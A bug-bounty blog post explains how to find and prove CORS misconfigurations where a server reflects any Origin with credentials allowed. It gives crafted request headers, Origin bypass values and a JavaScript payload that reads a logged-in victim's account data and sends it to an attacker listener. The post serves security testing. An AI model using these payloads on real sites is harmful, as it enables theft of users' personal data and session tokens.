August 24, 2026
The Two Headers That Turn CORS Into Account Data Theft
Whatβs up everyone! Nitin here π

By Nitin yadav
2 min read
CORS bugs are quietly one of the best "read another user's data from my own website" primitives out there β and they're everywhere because developers misconfigure CORS trying to fix it. The killer combo is dead simple: the server reflects whatever Origin you send back in Access-Control-Allow-Origin, and sets Access-Control-Allow-Credentials: true. When those two line up, any website you control can read a logged-in victim's authenticated responses. Let's break down how to find and prove it.
What CORS actually controls
The Same-Origin Policy stops evil.com's JavaScript from reading responses from target.com. CORS is the controlled relaxation of that rule: the server can say "these specific origins are allowed to read my responses." The bug is when the server relaxes it too far β specifically, when it trusts and reflects the requesting Origin instead of checking it against a strict allow-list. Add credentials support and the attacker's page can now make authenticated cross-origin requests and read the results.
Step 1: Send a crafted Origin
Take any authenticated request that returns sensitive data (/api/me, /api/account, /settings, an API key endpoint) and add an Origin header:
GET /api/me HTTP/1.1
Host: target.com
Origin: <https://evil.com>
Cookie: session=...GET /api/me HTTP/1.1
Host: target.com
Origin: <https://evil.com>
Cookie: session=...Step 2: Read the response headers
Look at what comes back. The vulnerable pattern:
Access-Control-Allow-Origin: <https://evil.com>
Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: <https://evil.com>
Access-Control-Allow-Credentials: trueIf ACAO reflects the exact evil.com you sent and ACAC is true, that's the jackpot β any origin can read this authenticated response. (Note: ACAO: * with credentials is actually blocked by browsers, so the reflection is what makes it exploitable. That's a key nuance triagers check.)
Step 3: Try the weak-match bypasses
If a naked evil.com doesn't reflect, the server has some validation β probe how weak it is:
Origin: null (sandboxed iframes/redirects send null)
Origin: <https://evil.target.com> (does it allow all subdomains?)
Origin: <https://target.com.evil.com> (suffix match fooled)
Origin: <https://targetXcom> (regex . not escaped)
Origin: <https://target.com.evil.com> (prefix/substring match)Origin: null (sandboxed iframes/redirects send null)
Origin: <https://evil.target.com> (does it allow all subdomains?)
Origin: <https://target.com.evil.com> (suffix match fooled)
Origin: <https://targetXcom> (regex . not escaped)
Origin: <https://target.com.evil.com> (prefix/substring match)The null origin is a common win β many apps allow-list null, and you can force a null Origin from a sandboxed iframe. Also: if any subdomain is allowed and you have XSS on a subdomain, you can pivot that into a CORS read.
Step 4: Weaponize with an attacker page
Once you've confirmed reflection + credentials, prove impact with a page that reads the victim's data cross-origin:
<script>
fetch('<https://target.com/api/me>', {credentials:'include'})
.then(r => r.text())
.then(d => fetch('<https://YOUR-collab/?leak=>' + encodeURIComponent(d)));
</script><script>
fetch('<https://target.com/api/me>', {credentials:'include'})
.then(r => r.text())
.then(d => fetch('<https://YOUR-collab/?leak=>' + encodeURIComponent(d)));
</script>When a logged-in victim visits your page, their browser sends their cookies, the server reflects your origin, and your JS reads their /api/me response and exfiltrates it. For the PoC, use your own logged-in session and show the data landing on your listener.
The impact ladder
- Reflected ACAO but no credentials β low (can't read authenticated data)
- Credentials + reflection on a non-sensitive endpoint β medium
- Credentials + reflection on an endpoint returning PII / tokens / account data β high
- Reflected ACAO on an endpoint that returns API keys / CSRF tokens β chain to full ATO β high/critical
Always demonstrate reading actual sensitive data β a bare permissive header without a data-theft PoC often gets downgraded to informational.
Conclusion β the CORS playbook
- The bug = server reflects your
Originand sendsAllow-Credentials: true. - Send
Origin: evil.comon authenticated endpoints; read ACAO/ACAC. - Probe weak validation:
null, subdomains, suffix/prefix, unescaped regex dots. - Prove with a
fetch(..., {credentials:'include'})self-exfil PoC. - Impact scales with how sensitive the readable data is.
If you Love reading my blogs. Check my Youtube Channel too.